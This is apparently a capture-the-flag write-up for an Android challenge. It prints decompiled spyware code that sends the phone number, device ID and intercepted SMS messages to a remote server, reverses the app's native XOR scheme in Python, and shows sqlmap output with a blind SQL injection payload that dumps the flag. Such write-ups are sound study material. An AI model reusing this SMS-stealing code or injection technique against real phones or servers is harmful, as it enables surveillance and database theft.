We’re given an Android .apk
file, and asked to steal information from the
exfiltrators. After figuring out the encoding scheme used to communicate with
the server, we extract the secret flag from the server via an SQL injection.
The process of reverse engineering Android applications usually begins with
decompilation of the target .apk
. Doing so reveals the source code of two
interesting java class files: ch.scrt.hiddenservice.MainActivity
and
ch.scrt.hiddenservice.SMSReceiver
. The relevant parts of the MainActivity
are as follows
package ch.scrt.hiddenservice;
/* ... */
public class MainActivity extends AppCompatActivity {
static final String DEFAULT_DEVICE_ID = "000000000000000";
static final String SERVER_PATH = "http://mindreader.teaser.insomnihack.ch/";
static String device;
final int REQUEST_READ_PHONE_STATE;
/* ... */
/* Android'ish for int main(int argc, char **argv) */
class C01511 implements Runnable {
C01511() {
}
public void run() {
MainActivity.this.tv.setText(MainActivity.this.readMind());
/* ... */
}
}
/* Native function encrypt imported from "libnative-lib.so" (line 29) */
public native int encrypt(Context context, byte[] bArr, byte[] bArr2);
public MainActivity() {
this.REQUEST_READ_PHONE_STATE = 1;
}
static {
System.loadLibrary("native-lib");
device = DEFAULT_DEVICE_ID;
}
/* Steal phone number and use it as device id */
public void onRequestPermissionsResult(int requestCode, String[] permissions, int[] grantResults) {
switch (requestCode) {
case ListPopupWindow.POSITION_PROMPT_BELOW /*1*/:
if (grantResults.length > 0 && grantResults[0] == 0) {
device = ((TelephonyManager) getApplicationContext().getSystemService("phone")).getLine1Number();
}
default:
}
}A
public String readMind() {
/* "encrypt" device id and convert it to base64 */
byte[] plaintext = jsonify(device).getBytes();
byte[] ciphertext = new byte[plaintext.length];
encrypt(getApplicationContext(), plaintext, ciphertext);
String encoded = Base64.encodeToString(ciphertext, 0);
try {
/* ... */
/* urlencode the b64 string and send it via GET variable c to the
* server */
HttpURLConnection urlConnection = (HttpURLConnection) new URL("http://mindreader.teaser.insomnihack.ch/?a=1&c=" + URLEncoder.encode(encoded, "UTF-8")).openConnection();
InputStream in = new BufferedInputStream(urlConnection.getInputStream());
String response = BuildConfig.FLAVOR;
/* read response from in, close connection and return */
/* ... */
return response;
} catch (IOException e) {
Log.e("MAIN_ACTIVITY", "http error " + e.getMessage());
return "Neural connexion is not possible...";
}
}
protected void onCreate(Bundle savedInstanceState) {
/* Steal device id and use it as device id */
device = ((TelephonyManager) getApplicationContext().getSystemService("phone")).getDeviceId();
}
/* Encode a "device" string into a json object */
private String jsonify(String device) {
JSONObject jsonObject = new JSONObject();
try {
jsonObject.put("device", device);
return jsonObject.toString();
} catch (JSONException e) {
Log.w("MAIN_ACTIVITY", "unable to jsonify data");
return "{}";
}
}
}
In summary, this code retrieves the phone’s primary number via getLine1Number
and sends this information via GET parameter to
http://mindreader.teaser.insomnihack.ch
. To compensate for the lack of https,
the application deploys home brewed crypto to encipher a GET parameter named c
.
:)
The application also features a SMS stealer whose code can be found in
SMSReceiver.java
. It’s quite similar to the code above, but uses GET
parameter a=2
, instead of a=1
as seen before. This will become important
later.
package ch.scrt.hiddenservice;
/* ... */
public class SMSReceiver extends BroadcastReceiver {
public native int encrypt(Context context, byte[] bArr, byte[] bArr2);
static {
System.loadLibrary("native-lib");
}
/* Intercepts text messages and exfiltrates them to a server */
public void onReceive(Context context, Intent intent) {
if ("android.provider.Telephony.SMS_RECEIVED".equals(intent.getAction())) {
for (SmsMessage smsMessage : Intents.getMessagesFromIntent(intent)) {
byte[] plaintext = jsonify(System.currentTimeMillis(), smsMessage.getDisplayOriginatingAddress(), smsMessage.getMessageBody()).getBytes();
byte[] ciphertext = new byte[plaintext.length];
/* Encipher using again some native encryption */
encrypt(context, plaintext, ciphertext);
String encoded = Base64.encodeToString(ciphertext, 0);
try {
/* ... */
HttpURLConnection urlConnection = (HttpURLConnection) new URL("http://mindreader.teaser.insomnihack.ch/?a=2&c=" + URLEncoder.encode(encoded, "UTF-8")).openConnection();
InputStream in = new BufferedInputStream(urlConnection.getInputStream());
urlConnection.disconnect();
} catch (IOException e) {
Log.e("SMS_RECEIVER", "http error " + e.getMessage());
}
}
return;
}
Log.w("SMS_RECEIVER", "no sms intent received!");
}
/* put four elements into a json string */
private String jsonify(long date, String sender, String body) {
JSONObject jsonObject = new JSONObject();
try {
jsonObject.put("device", MainActivity.device);
jsonObject.put("date", date);
jsonObject.put("sender", sender);
jsonObject.put("body", body);
return jsonObject.toString();
} catch (JSONException e) {
Log.w("SMS_RECEIVER", "unable to jsonify data");
return BuildConfig.FLAVOR;
}
}
}
From here on it became quite obvious that we would need to understand the native
encrypt
function in libnative-lib.so
in order to interact with
the server at http://mindreader.teaser.insomnihack.ch/
.
During analysis of ARM executables that are called from within Android apps (as
in our case), information about the application binary interface can come in
extremely handy. This is especially true because all assembly methods facing the
outside world get passed in a huge struct JNIEnv *
. This structure contains
more than 300 (!) pointers to functions that native libraries can use in order
to interact with the Java context the calling Android application is running
in. As some of them are used to retrieve the arguments passed to the native
function we clearly, we would rather not like to miss the exact definition of
the array. After patching up jni-api24.h
from the current Android SDK and
importing the header file into IDA, we’re greeted with the following function in
Hex-Rays (just ignore the function pointer casts if they confuse you):
int __fastcall Java_ch_scrt_hiddenservice_MainActivity_encrypt(JNIEnv *a1, int r1_0, int a3, int a4, int a5)
{
signed int i; // r6@1
unsigned int v8; // r0@1
char v9; // r5@3
int i_mod_80; // r1@3
int len; // [sp+8h] [bp-34h]@1
JNIEnv *v13; // [sp+10h] [bp-2Ch]@1
unsigned __int8 *out; // [sp+1Ch] [bp-20h]@1
char *in; // [sp+20h] [bp-1Ch]@1
char v18; // [sp+24h] [bp-18h]@1
unsigned __int8 *crc; // [sp+28h] [bp-14h]@1
int v20; // [sp+2Ch] [bp-10h]@1
v13 = a1;
v20 = _stack_chk_guard;
i = 0;
v18 = 0;
len = ((int (__fastcall *)(JNIEnv *, int))(*a1)->GetArrayLength)(a1, a4);
in = (char *)((int (__fastcall *)(JNIEnv *, int, char *))(*a1)->GetByteArrayElements)(a1, a4, &v18);
out = (unsigned __int8 *)((int (__fastcall *)(JNIEnv *))(*a1)->GetByteArrayElements)(a1);
generate_key();
v8 = checksum(a1, a3);
LOWORD(csum) = v8;
BYTE2(csum) = v8 >> 16;
BYTE3(csum) = BYTE3(v8);
if ( len > 0 )
{
do
{
v9 = in[i];
j_j_j___aeabi_idivmod(i, 80);
out[i] = LOBYTE((&csum)[i % 4]) ^ key[i_mod_80] ^ v9;
++i;
}
while ( len != i );
}
((void (__fastcall *)(JNIEnv *, int, char *, _DWORD))(*v13)->ReleaseByteArrayElements)(v13, a4, in, 0);
((void (__fastcall *)(JNIEnv *, int, unsigned __int8 *, _DWORD))(*v13)->ReleaseByteArrayElements)(v13, a5, out, 0);
if ( _stack_chk_guard != v20 )
j_j___stack_chk_fail(_stack_chk_guard - v20);
return 0;
}
This code is (besides some hex-ray gibberish) straightforward: It retrieves two
pointers to arrays passed in from the Java environment and determines the length
of the first one. Then, a global static variable key
is initialized with a
hard-coded (but somewhat entangled) symmetric key in generate_key()
.
Afterwards, the program checksums itself (we will see how this works in a
second) and stores the 4-byte result in little-endian format in another array.
One pitfall concerning the decompiler is the function j_j_j___aeabi_idivmod
:
As you might guess from the name, this procedure takes two integers x
and y
and returns both, the quotient of the integer division x/y
and the remainder
of the modulo operation x % y
. These semantics, however are unknown to the
hex-rays decompiler, causing it to fail to infer the correct calling convention.
In fact, the function j_j_j___aeabi_idivmod
returns its two result values in
r0
and r1
. Looking at the corresponding assembly code
LDR R0, [SP,#0x38+in]
LDRB R5, [R0,R6]
MOVS R1, #0x50
PUSH {R6}
POP {R0}
BL j_j_j___aeabi_idivmod
LDR R0, [SP,#0x38+a2]
LDRB R0, [R0,R1]
EORS R0, R5
makes clear that r0 (in[i]
) and r1 (0x50 = 80
) are passed in, and only r1 is
used by the code afterwards. This is why in the Hex-Rays output above the
i_mod_80
variable seems to magically appear within the loop. The
generate_key
function suffers from the same problem, but other than that is
also really self-explanatory.
int generate_key()
{
int v0; // r6@1
char *in; // r5@1
int v2; // r3@1
int i; // r4@2
int i_mod_20; // r1@3
int result; // r0@3
int j; // [sp+4h] [bp-14h]@2
char *s1_ptr; // [sp+8h] [bp-10h]@2
v0 = 0;
in = s1;
v2 = 0;
do
{
j = v2;
s1_ptr = in;
i = 0;
do
{
j_j_j___aeabi_idivmod(v0 + i, 20);
result = basic_string::append((int **)&key, *in++ ^ s0[i_mod_20]);
i += 3;
}
while ( i != 60 );
in = s1_ptr + 20;
v2 = j + 1;
v0 += 60;
}
while ( j != 19 );
return result;
}
This loops over an array of hard-coded constants s1
and xors them with the
contents of the (also hard-coded) array s0
. You may wonder how we found
basic_string::append
and the simple answer is that this function reveals
itself by the error messages it could produce such as
"basic_string::_S_create"
. Knowing this we were quite puzzled because the
generate_key
function apparently contains a buffer over-read: The s1
array
is only 80 bytes in length, causing the read to go out-of-bounds for j >= 4
.
We still believe this to be an unintended bug in the program’s code that is
remedied by the fact that the calling function accesses the generated key only
at indices 0 to 79.
The last missing part of the encrypt
function is the 4-byte output of the
checksum
function. Indeed this function could have been quite problematic in
understanding what it does:
int __fastcall calculate_crc_classes_dex(JNIEnv *a1, int a2)
{
JNIEnv *v2; // r4@1
int i; // r5@1
JNIEnv *v4; // ST00_4@1
int v5; // r1@1
int a3; // ST14_4@3
int v7; // r6@3
int v8; // r3@3
int v9; // r3@3
int result; // r0@3
int v11; // r5@4
int v12; // r0@5
int v13; // r1@5
int v14; // r3@5
int v15; // [sp+8h] [bp-34h]@3
int v16; // [sp+10h] [bp-2Ch]@3
int v17; // [sp+18h] [bp-24h]@1
int a2a; // [sp+1Ch] [bp-20h]@1
int v19; // [sp+20h] [bp-1Ch]@1
int getCrc; // [sp+24h] [bp-18h]@1
__int16 v21; // [sp+28h] [bp-14h]@1
char v22; // [sp+2Ah] [bp-12h]@1
int v23; // [sp+2Ch] [bp-10h]@1
a2a = a2;
v2 = a1;
v23 = _stack_chk_guard;
i = 0;
v22 = 0;
v21 = 0;
getCrc = 0;
v4 = a1;
v19 = ((int (__fastcall *)(JNIEnv *, const char *))(*a1)->FindClass)(a1, "java/util/zip/ZipFile");
v17 = ((int (__fastcall *)(JNIEnv *, const char *))(*v4)->FindClass)(v4, "java/util/zip/ZipEntry");
v5 = ((int (__fastcall *)(JNIEnv *, const char *))(*v2)->FindClass)(v2, "android/content/Context");
do
{
*((_BYTE *)&getCrc - i) = aHo_hxl[-i] ^ asc_18F29[-i];
--i;
}
while ( i != -7 );
a3 = ((int (__fastcall *)(JNIEnv *, int, const char *, const char *))(*v2)->GetMethodID)(
v2,
v5,
"getPackageCodePath",
"()Ljava/lang/String;");
v15 = ((int (__fastcall *)(JNIEnv *, int, const char *, const char *))(*v2)->GetMethodID)(
v2,
v19,
"<init>",
"(Ljava/lang/String;)V");
v16 = ((int (__fastcall *)(_DWORD, _DWORD, const char *, const char *))(*v2)->GetMethodID)(
v2,
v19,
"getEntry",
"(Ljava/lang/String;)Ljava/util/zip/ZipEntry;");
v7 = ((int (__fastcall *)(JNIEnv *, int, int *, const char *))(*v2)->GetMethodID)(v2, v17, &getCrc, "()J");
v9 = jni_call_helper(v2, a2a, a3, v8);
result = -1;
if ( v9 )
{
v11 = jni_new_helper(v2, v19, v15, v9);
result = -2;
if ( v11 )
{
v12 = ((int (__fastcall *)(JNIEnv *, const char *))(*v2)->NewStringUTF)(v2, "classes.dex");
v13 = jni_call_helper(v2, v11, v16, v12);
result = -3;
if ( v13 )
result = sub_4CF4(v2, v13, v7, v14);
}
}
if ( _stack_chk_guard != v23 )
j_j___stack_chk_fail(result);
return result;
}
We see here the native code calling back into the Java environment (thanks, JNI headers), and some strings related to (Un)zipping stuff. Hm …
At this point we used the sophiticated Ninja RE technique of making educated
guesses. Combining the facts that APK files are actually nothing else but ZIP
files, and that the hidden, enciphered String in the first loop of the function
reads "getCrc"
, and the suspicious classes.dex
string made us believe that
this code unpacks the currently running APK file and calculates the CRC32 value
of the classes.dex
file. Let’s see …
/tmp$ unzip mindreader.zip
<tons of stuff printed>
/tmp$ crc32 classes.dex
b1342c3a
Combining the encrypt
functionality and the json+base64+urlencode from the
.java
file encoding into one python file:
#!/usr/bin/env python3
import base64, urllib.parse, json, time
from collections import OrderedDict
s0 = [
0x4A, 0x59, 0x67, 0x37, 0x61, 0x56, 0x55, 0x47, 0x63,
0x4E, 0x6B, 0x38, 0x64, 0x4A, 0x73, 0x7A, 0x6D, 0x4c,
0x61, 0x66,
]
s1 = b"4QdKuXJFf33SLppS5jzn5VpQAiSjKuYhE7tq8ZURj6ZG3guGXPvSn6uDaZi6ExsnfHpH6zEyfrqXxXoN"
crc = b'\x3a\x2c\x34\xb1'
dev_id = '133742421337124'
payload = ""
payload = json.dumps(
OrderedDict([('device', dev_id)]),
sort_keys = False).encode()
key = []
## This is generate_key()
for j in range(20):
for i in range(20):
## HACK: The % len(s1) is not actually present in the assembly ...
key.append(s1[(j * 20 + i) % len(s1)] ^ s0[(3 * i) % len(s0)])
## This is the encrypt() function
enc = []
for i in range(len(payload)):
enc.append(payload[i] ^ crc[i % len(crc)] ^ key[i % 80])
## Encoding crazyness
enc = urllib.parse.quote(base64.b64encode(bytearray(enc)).decode('utf-8'))
print("http://mindreader.teaser.insomnihack.ch/?a=1&c={}".format(enc))
This generates the following link:
http://mindreader.teaser.insomnihack.ch/?a=1&c=P2hh0V1nfMsfYkyKKgkQg1hMCaF0fiKZLg0yoG0%3D
Clicking it leads us to an empty page saying Your mind seems to be empty...
sorry for you.
. Moreover, we knew that we guessed the crc functionality right
as slightly modifying one of the encryption parameters caused the same website
to say mind acquisition failed in synapse 0x00000003...
. Great success! Now
we’re able to communicate with the server and don’t need the APK anymore. But
… no flag? What to do next?
It turned out that visiting the page with GET parameter a=2
(which thankfully
used the same encryption scheme) is a mechanism for storing arbitrary values on
the server side (server echoes mind acquisition succeed ;-)
), and a=1
is a
mechanism for retrieving them. Nevertheless, after playing around with the
service and storing some values in the backend, we couldn’t make the a=1
page
echo something other than You're probably dead inside...
. After bugging one of
the orgas about their service potentially malfunctioning (there were no solves
at that time) it suddenly came to our minds that we should probably pwn the
database server at the remote end. And really, after putting a '
in the
message body and storing it in the database the a=1
page says it detected we
were up to something evil.
From there on we went the lazy route and simply wrote a proxy for sqlmap
:
That is, a simple webserver that accepts a single GET parameter, encodes
it according to the above scheme, and forwards it to the real server.
sqlmap
manages to extract the flag:
$ ./sqlmap.py --url 'http://localhost:8080/?s=y7' --level 5 --risk 3 --batch -T flag --dump
___
__H__
___ ___[']_____ ___ ___ {1.1.1.17#dev}
|_ -| . [)] | .'| . |
|___|_ [)]_|_|_|__,| _|
|_|V |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 18:12:04
<tons of stuff printed>
GET parameter 's' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1146 HTTP(s) requests:
---
Parameter: s (GET)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: s=y7' RLIKE (SELECT (CASE WHEN (8298=8298) THEN 0x7937 ELSE 0x28 END)) AND 'pnmd'='pnmd
---
[18:14:51] [INFO] testing MySQL
[18:14:52] [INFO] confirming MySQL
[18:14:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL >= 5.0.0
[18:14:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[18:14:52] [INFO] fetching current database
[18:14:52] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[18:14:52] [INFO] retrieved: sms_storage
[18:15:02] [INFO] fetching columns for table 'flag' in database 'sms_storage'
[18:15:02] [INFO] retrieved: 1
[18:15:03] [INFO] retrieved: value
[18:15:08] [INFO] fetching entries for table 'flag' in database 'sms_storage'
[18:15:08] [INFO] fetching number of entries for table 'flag' in database 'sms_storage'
[18:15:08] [INFO] retrieved: 1
[18:15:09] [INFO] retrieved: INS{N00bSmS_M1nD_r3ad1nG_TecH}
[18:15:40] [INFO] analyzing table dump for possible password hashes
Database: sms_storage
Table: flag
[1 entry]
+--------------------------------+
| value |
+--------------------------------+
| INS{N00bSmS_M1nD_r3ad1nG_TecH} |
+--------------------------------+
<tons of stuff printed>
[*] shutting down at 18:15:40